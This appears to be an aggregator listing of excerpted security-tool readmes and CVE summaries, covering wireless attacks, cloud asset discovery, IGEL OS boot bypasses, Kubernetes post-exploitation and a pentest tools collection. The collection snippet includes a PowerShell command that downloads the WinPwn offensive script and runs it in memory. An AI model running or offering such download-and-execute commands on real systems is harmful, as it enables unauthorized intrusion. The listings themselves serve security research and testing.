SniffAir

SniffAir SniffAir è un framework di sicurezza wireless open-source che offre la possibilità di analizzare facilmente dati wireless raccolti passivamente, oltre a lanciare sofisticati attacchi wireless. SniffAir gestisce la complessità legata alla gestione di file pcap grandi o multipli, incrocian...

CVE-RUBY

cve-id Spenden Unterstütze die Wartung dieses Projekts mit PayPal oder durch Scannen des QR-Codes unten. ⚡ Einfache Nutzung Verwende dieses Projekt nur in sicheren und autorisierten Umgebungen wie: Lokale virtuelle Maschinen Docker-Container Isolierte Laborumgebungen Autorisierte...

Reports

Rapporti di Ricerca sulla Cybersecurity e Threat Intelligence Questa repository contiene una raccolta di rapporti tecnici, brief di threat intelligence e ricerche di sicurezza offensiva incentrate sul panorama della cybersecurity 2025-2026. Struttura del Progetto I rapporti sono categorizzati...

smogcloud

☁️ Smogcloud Trova asset cloud AWS esposti di cui non sapevi di avere. Un inventario completo degli asset è il primo passo per qualsiasi programma di sicurezza efficace. Abbiamo creato smogcloud per consentire a ingegneri della sicurezza, penetration tester e amministratori AWS di monitorare i...

CVE-2026-82018

IGEL OS 12 (before 12.9.0 / 12.8.3 LTS ) and IGEL OS 11 (before 11.11.150 ) contain a secure boot bypass in the GRUB boot stage . A physically present attacker can place an unsigned empty file named igel.conf on a partition, exploiting GRUB's fail-open signature verification behavior to reach an ...

CVE-2026-82018 IGEL OS 12 / 11 Secure Boot Bypass via Unsigned igel.conf File

IGEL OS 12 before 12.9.0, 12.8.3 LTS and IGEL OS 11 before 11.11.150 contain a secure boot bypass vulnerability in the GRUB boot stage that allows physically present attackers to gain unauthorized root access by placing an unsigned empty file named igel.conf on a partition. Attackers can exploit...

UniPwn

Analisi dell'iniezione di comandi del servizio BLE del robot Unitree Autore: Bin4ry aka Andreas Makris [email protected] Coautore: h0stile aka Kevin Finisterre Contributore: legion1581 aka Konstantin Severov di theroboverse ha contribuito a correggere il payload per l'iniezione e lo ha...

DumpTheGit

DumpTheGit DumpTheGit durchsucht öffentliche Repositorys nach sensiblen Informationen, die in die GitHub-Repositorys hochgeladen wurden. Das Tool markiert Übereinstimmungen mit potenziell sensiblen Dateien wie Anmeldeinformationen, geheimen Schlüsseln, Token usw., die versehentlich von den...

keimpx

Introduction keimpx is an open source tool, released under the Apache License 2.0. It can be used to quickly check for valid credentials across a network over SMB. Credentials can be: Combination of user / plain-text password. Combination of user / NTLM hash. Combination of user / NTLM logon...

goWAPT

GOWAPT - Test di Penetrazione di Applicazioni Web in Go GOWAPT è il fratello minore di wfuzz, un coltellino svizzero dei WAPT, permette ai penetration tester di svolgere attività massive senza alcuno stress, basta configurarlo ed è questione di click. Come installare Per installare gowapt basta...

CVE-2026-82017 IGEL OS 12 / 11 Boot Registry Parameter Injection via Unsigned Configuration Area

IGEL OS 12 before 12.7.6 and IGEL OS 11 before 11.11.150 contain a boot registry parameter injection vulnerability that allows attackers with physical access to execute arbitrary Linux loader parameters by writing to an unencrypted and unsigned configuration area read by the signed bootloader...

CVE-2026-82017

IGEL OS 12 (before 12.7.6 ) and 11 (before 11.11.150 ) are affected by a boot registry parameter injection vulnerability. The root cause is an unencrypted and unsigned configuration area that is read by the signed bootloader. An attacker with physical access can write malicious Linux kernel comma...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

onioff

root@kitploit: ██████╗ ███╗ ██╗██╗ ██████╗ ███████╗███████╗ ██╔═══██╗████╗ ██║██║██╔═══██╗██╔════╝██╔════╝ ██║ ██║██╔██╗ ██║██║██║ ██║█████╗ █████╗ ██║ ██║██║╚██╗██║██║██║ ██║██╔══╝ ██╔══╝ ╚██████╔╝██║ ╚████║██║╚██████╔╝██║ ██║ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ v2.0 A simple tool - written in...

C2-Hunter

C2-Hunter C2-Hunter è un programma progettato per analisti malware per estrarre il traffico di Command and Control C2 da malware in tempo reale. Il programma utilizza un approccio unico agganciandosi alle API di connessioni win32. Con C2-Hunter, gli analisti malware possono ora intercettare e...

shed

Shed - .NET runtime inspector Shed is an application that allow to inspect the .NET runtime of a program in order to extract useful information. It can be used to inspect malicious applications in order to have a first general overview of which information are stored once that the malware is...

k0otkit

k0otkit – K8s auf K8s-Art manipulieren Einleitung k0otkit ist eine universelle Post-Penetrationstechnik, die bei Penetrationen gegen Kubernetes-Cluster eingesetzt werden kann. Mit k0otkit können Sie alle Knoten im Ziel-Kubernetes-Cluster schnell, verdeckt und kontinuierlich manipulieren Reverse...

festin

FestIN the powered S3 bucket finder and content discover What is FestIn Why Festin Install Using Python Using Docker Full options Usage Configure search domains Concurrency HTTP Crawling configuration Manage results Proxy usage DNS Options Full Text Support Running as a service or watching mode...

bopscrk

bopscrk Generate smart and powerful wordlists for targeted attacks Explore the docs » View Demo · Report Bug · Request Feature Table of contents 1. About the Project What's new Built with 2. Getting started Installation Run interactive mode 3. Usage How it works Tips Advanced usage Lyricpass 4...

wifi-pineapple-cloner-builds

Wifi Pineapple Cloner: Builds For a long time I have noticed that there are people stealing the authorship of this project that started in 2018. Also there is people who go further and are selling the devices ready to use... So to prevent anyone from being scammed paying for something that is...